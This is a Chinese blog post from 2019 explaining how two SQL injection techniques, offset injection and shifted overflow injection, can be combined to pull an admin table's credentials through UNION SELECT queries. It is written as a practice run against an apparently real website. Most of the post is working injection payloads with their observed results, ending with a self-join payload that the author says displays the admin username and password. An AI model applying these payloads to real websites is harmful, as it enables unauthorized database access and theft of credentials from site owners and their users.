人品爆发:偏移注入与移位溢注的联合使用

理解一个东西,然后去发散思维思考,总会有意想不到的收获。

前言:

这个灵感是我突然冒出来的,最近有一个只能出来表名的站,一直没的机会实战,正好练习一下偏移注入和移位溢注,顺便总结一下,结果偏移注入成功了,移位溢注倒是不行了,心有不甘(我人品有这么差么?),才有了下文。

偏移注入,移位溢注的正常的手法,原理在这里就不写了,描述下站点大概情况,方便大家了解,懂得自然懂。

1
2
order by 12 - 正常 
union select 1,2,3,4,5,6,7,8,* from tbladmin - 正常

显示位

1

开始移位溢注:

当我使用移位溢注时,遇到了一点小麻烦:

2.1 先测试位置显示位6(失败):

1
union select 1,2,3,4,5,tbladmin.*,10,11,12 from tbladmin

2

1
2
3
4
union select 1,2,3,4,5,tbladmin.*,10,11,12 from tbladmin where id=1 - 返回同上
union select 1,2,3,4,5,tbladmin.*,10,11,12 from tbladmin where id=2 - 发布时间处:1变成了2
...
union select 1,2,3,4,5,tbladmin.*,10,11,12 from tbladmin where id=n - 开始一直返回正常页面了

2.2 然后测试显示位2和3(失败):

1
union select 1,tbladmin.*,6,7,8,9,10,11,12 from tbladmin - 爆出了一个用户名

3

1
2
3
4
union select 1,tbladmin.*,6,7,8,9,10,11,12 from tbladmin where id=1 - 返回内容同上
union select 1,tbladmin.*,6,7,8,9,10,11,12 from tbladmin where id=2 - 如下图,一个新的用户名
...
union select 1,tbladmin.*,6,7,8,9,10,11,12 from tbladmin where id=n - 开始一直返回正常页面了

4

到了现在,可以发现问题出现了,移位溢注的招式已经用完了,但是显示位明显不够啊,还是爆不出来密码,这样看来,移位溢注还是不能完全和人品说拜拜

联合使用出奇效:

偏移注入的本质是:打乱显示顺序

移位溢注的本质是:占用多处显位

都是为了有一定概率让账号密码出现在显示位上,那么联合起来会怎么样呢?下面语句不做分析,还是懂的人自然懂

1
union select 1,2,3,4,a.*,b.*, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) 

5

1
2
union select 1,2,3,4,a.*, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 显示结果同上
union select 1,2,3,a.*,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 出现密码了

6

1
union select 1,2,a.*,3,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 发生变化

7

1
union select 1,a.*,2,3,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 继续变化

8

1
union select a.*,1,2,3,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 同时显示

9

完结

最后可以看到,账号密码一起显示在了网页上,通过二者的联合使用,爆出账号密码的几率想必会增加不少。

参考文章:

https://blog.csdn.net/Fly_hps/article/details/79415714

https://gh0st.cn/archives/2017-03-08/1

作者

Se7en

发布于

2019-03-11

更新于

2022-03-31

许可协议

评论